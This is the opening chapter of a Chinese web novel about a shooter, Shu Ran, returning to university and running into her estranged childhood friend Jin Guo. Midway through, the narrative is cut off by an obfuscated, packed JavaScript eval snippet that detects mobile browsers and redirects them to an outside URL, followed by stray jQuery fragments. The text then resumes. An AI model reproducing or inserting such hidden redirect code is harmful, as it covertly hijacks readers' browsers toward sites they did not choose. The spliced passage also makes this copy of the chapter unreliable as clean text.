1. 第 1 章

作品:《靶心之上[破镜重圆]

    舒苒结束集训,正式复学时已经是深秋。


    京城刚下过雨,秋雨打梧桐,未打理的树叶在路面上铺了厚厚一层,行走时温软的触感极具穿透性。


    舒苒很敏感,她拉着行李箱,一边抗拒着脚下酥麻的痒意,一边跟在导员的身后,打量着这所因训练来过数次的高校。


    以前来这里训练,舒苒常走的是另一条路线,穿过东二门便直通射击馆,旁边就是运动员宿舍。


    每天射击馆宿舍两点一线,最远就是去东二门外吃烤鱿鱼,实在没有时间逛逛这所外人看来高不可攀的学校。


    “舒苒,名字很好听啊,”年轻导员猝不及防地搭话,两个人猛不丁都有些不自在:“前两天我跟你教练和省队那边对接了一下,秋季集训成绩很不错啊。”


    他一边说着,一边竖了个大拇指,又默默收了回去,脸缓缓涨成猪肝色。


    舒苒侧头,仔细回想了一下,除了那几个把众人震惊到侧目的脱靶,整体来说确实还不错。


    “啊,除了那几个脱靶的,”对方挠挠额角,话说出口才自知失言,心虚地暼了舒苒一眼,见她没有什么过激的反应,又忙不迭找补,“很正常啊,作为运动员很正常,不必放在心上。”


    话说出口又是一阵沉默,舒苒适时开口接话:“我也挺满意的。”


    “前面就是公寓楼,收拾好之后去射击馆找肖教练,把手续交接一下。”


    刚才略显幽默的谈话结束后很久,导员开口,稍稍放慢了脚步,舒苒敏锐地跟了上去,二人并肩而行。


    舒苒应了一声。


    他们在公寓楼下停住,导员翻出手机,皱着眉查找宿舍门牌号,“5421,在四楼哈,我就不陪你上去了,不方便。”


    舒苒道谢,和他互加微信后,拖着两个行李箱艰难地爬了上去。


    宿舍里空无一人,这个点舍友们都去上课了。


    她松了口气,摸到开关,将灯打开。


    宿舍被照亮,舒苒精准锁定了自己的床位,床上放着未拆封的被褥,下面的桌子上摆着一摞专业课本。


    应该是舍友帮忙领的。


    将桌上薄薄的一层灰尘擦掉后,舒苒打开行李箱,很有耐心地收拾起来。


    她很少有耐心的时候,教练总是教训她沉不住气,刚开始她还不承认,自那次事故后,她便强迫着自己,像投入平静湖面的石子,慢慢地将心沉入水底。


    *


    到达射击馆时天已经擦黑,天空遍布阴沉沉的云,正对场馆的红砖钟楼覆盖着大片大片的爬山虎,墨绿色的叶子在狂风下相击,发出类似雨水落在地面上的沙沙声。


    好像要下雨了。舒苒担忧地抬起脸。


    似是为印证她的猜测,豆大的雨珠吧嗒精准砸中她的额头。


    冷风猝不及防地钻进领口,激起了一层鸡皮疙瘩,她忙将脸埋进卫衣外套的帽子中。


    射击馆里没什么人,已经是深秋了中央空调温度开的还是很低。


    她有些后悔只套了一件卫衣就出门,只能祈求速战速决赶紧回宿舍取暖。


    给搭档程与儒和教练各打了三个电话都没人接后,舒苒认命地在储物柜旁的长椅坐下,裹紧衣服百无聊赖地刷着手机。


    大眼首页蹦出来一则新闻推送,她匆匆扫过,眼神一顿,手指又划了回去,默不作声地阅读这篇博文。


    “天才射击运动员舒苒爆冷出局后的三个月,她在做什么?”


    标题底下还跟随着几张照片,正是她今天复学路上角度极其刁钻的偷拍。


    动作真快,她上午才到Q大,下午有图有真相的新闻就爆出来了。


    冰镇的宝矿力蒙着薄薄一层水雾,温度低得使舒苒握着瓶身的手掌都有些发僵,连着半边身子都微微战栗。


    她将矿泉水放在身旁,垂下眼。


    “开锁成功。”


    座椅旁的寄存柜咔哒一声打开,她闻声将目光从手机屏幕上挪开,隔着卫衣帽檐,几个男生的身影靠在柜子旁,有一搭没一搭地闲聊着:


    “靳过,他之前说你练过我还不信,这也太牛了。”


    另一道男声响起:“是吧,我第一次跟靳过来的时候,也被震惊死了。”


    突然听到阔别已久的名字,舒苒如同巴甫洛夫实验一般下意识侧头看了一眼。


    过长的帽檐遮住大部分视野,她只看到了三个人中,那双包裹着黑白蓝射击服的长腿。


    “简直国家队编外人员,打包送去参加明年的奥运会得了,感觉比那个女的,叫什么来着。”


    第一道男声卡顿一下,似乎在思考,又飞快地接上:“那脱靶的女的,叫舒苒的那个,厉害多了。”


    两人话题的中心一直没有出声,直到柜门砰地一声被关上,带着丝冷淡的男声像冬日拂过冰湖的风,落在舒苒的耳边:“你们先回去,我还有事。”


    那两个男生似乎对靳过这种不冷不热的态度习以为常,勾肩搭背地提着包离开了射击馆。


    冷清的大厅瞬间只剩下他们二人。


    舒苒靠在椅子上,目光死死地落在早已黑屏的手机上,举着手机的手臂隐隐有些发酸,却始终不敢变换姿势。


    幸亏今天穿了一件足够宽松的衣服,垂下的帽檐能够堪堪遮住她的慌乱与难堪。


    别慌,别慌,没什么可慌的。


    连舒苒自己都不知道在安抚些什么。


    告诉靳过虽然分别时不体面,但当初的选择她一丁点都不后悔?


    也可能仅仅是在无数次午夜梦回中,即将被愧疚淹死前的惊醒后,寻求片刻的心安。


    舒苒不确定自己究竟有没有后悔过。


    但她确定在靳过面前不能软弱,心理防线却如同被白蚁侵蚀般千疮百孔,情绪的洪流缓慢地上升,直至握住她的脚踝。


    心跳逐渐放大到声同擂鼓,震得她的眼眶都有些发酸。


    倚靠在铁柜旁的身影不紧不慢地向舒苒的方向靠近了几步,然后俯下身,漫不经心地提起地上的步.枪盒,和书包一起背在肩上。


    因为射击服的缘故,他迈步时稍稍有些艰难,步.枪盒与书包上悬挂的绿色小恐龙塑料挂坠碰撞时发出清脆的声响。


    舒苒认识这个挂坠,这是他们还在上小学时,结束一天的课程与训练后,在回家的路上买的,一蓝一绿。


    舒苒闭上眼,耐心地等待声响渐渐远去,然后消失在拐角深处。


    她长舒一口气,整个人仿佛在即将溺毙时被打捞出水般,彻底瘫软在了座椅上。


    不知过了多久,手机铃声响了,舒苒接起,神色如常。


    “刚才和教练去围观别队的友谊赛了,没接到电话,”通往内馆的磨砂玻璃大门被拉开,电话中的男声由远及近:“你收拾的倒挺快,等挺久了吧。”


    舒苒抬头看向大门的方向,却在程与儒向她招手的身影前看到了另一个人。


    书包松松垮垮地挂在靳过身上,他比以前高了许多,身形高挑舒展,靠在更衣室旁的拐角处,不知道看了她多久。


    靳过看向她的眼神很冷淡,似乎没有什么情绪,带着些审视,丝丝缕缕地将她牢牢裹挟。


    目光接壤的刹那,舒苒飞快撤回视线。


    程与儒这时已走到她的身前,有些纳闷,“脸色怎么这么差,不舒服?”


    在靳过审视的视线下她反而出奇地镇静下来。


    舒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783307|157997||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    苒握着矿泉水站起身,摇摇头,问:“谁赢了。”


    “亚运会跟你有摩擦的那个女孩,她比你早来了几天,也是从地方调来的。”


    程与儒一边说着,一边推开通往内馆沉重的磨砂玻璃门,“表格什么的我帮你填好了,你去摁个手印就行。”


    舒苒从他撑起的缝隙中通过,扯扯嘴角,礼貌道谢。


    “太客气了你,先别急着道谢,毕竟你拜托我做的事,让我给忘了。”


    舒苒抬眼,从她这个角度看过去,能看到程与儒眼下淡淡的乌青。


    他是男队队长,想必这段时间射击队频繁的人员变动很耗费精力。


    “你的快递没告诉我取件码,我这两天有点忙也忘了跟你要,所以没帮你拿,不好意思了。”


    闻言舒苒轻轻摇头,“没关系,已经很麻烦你了。”


    彻底办完手续后外面已经黑透了,万幸的是没有下雨,舒苒婉拒了程与儒帮她一起搬快递的提议,独自一人前往菜鸟驿站。


    集训时她把杂七杂八的大件寄来了京城,只留了必备的生活用品和衣服,才能够在复学时搬行李轻松一点。


    大重量的快递都在角落的架子上堆放着,舒苒找的差不多了,只剩架子最顶端的一个箱子有些令她犯愁。


    她个子不矮,可从比她还高一个头的架子顶端取下一个分量扎实的箱子,就有些强人所难了。


    舒苒站定,踮起脚伸手捧住箱子,一点点地往架子边缘挪。


    她设想好了,等挪到边缘,箱子往下倾倒时她眼疾手快地接住,然后再放到地上。


    但舒苒显然低估了这个箱子的重量。


    它不受控制般挣脱了舒苒的手掌心,以迅雷不及掩耳之势砸了下来。


    完了。


    舒苒绝望地闭上眼。


    预想中的钝痛并没有袭来,耳边却响起一声闷哼。


    舒苒睁开眼,发现头顶上的箱子被凭空出现的一双大手稳稳接住,腕间缠着一串菩提珠,是她所熟识的。


    大手托着箱子小心翼翼地绕过她,放在了地上。


    她抬起头,撞进一双眼。


    他说:“舒苒。”


    “好久不见。”


    深秋夜晚的天空阴云逐渐散去,几声闷雷过后,竟撒下些清亮的月色。


    舒苒抱着一个箱子,跟在抱着一摞箱子的靳过身后,两人在女生公寓楼下停住,她犹豫再三,出声道谢:“谢谢。”


    靳过侧头,路灯昏黄的光侧着打过来,在他挺拔的鼻梁骨后落下一片阴影。


    他问:“什么?”


    “我说,谢谢你帮我搬东西。”


    “嗯,不客气,那你要怎么感谢我,请我吃饭吗。”


    舒苒没想到他会接这么一句话,冷不丁被噎了一下:“现,现在吗?那可能等我把这些搬上楼后会很晚了。”


    靳过从裤兜里拿出手机,点开了自己的二维码名片,“是挺晚了,那加个微信。”


    舒苒微微皱眉,什么意思,怕她赖账吗。


    但不管是怕她赖账,还是出于别的原因,舒苒都不太想加这个微信。


    但再不想和他有牵扯,这个人情也是欠下了。


    舒苒此刻万分后悔,为什么拒绝了程与儒帮忙的提议。


    都是欠人情,欠程与儒的人情明显要比欠面前这人的人情要好对付。


    她弯了弯嘴角,打开扫一扫,对准靳过的二维码,然后漏出一个人畜无害的笑,“真是麻烦您了。”


    靳过当着她的面通过了好友申请,深秋的风带起舒苒额前的碎发,扫过她清秀的眉眼。


    他定定地盯着她,说话带刺,“那我就等着了。”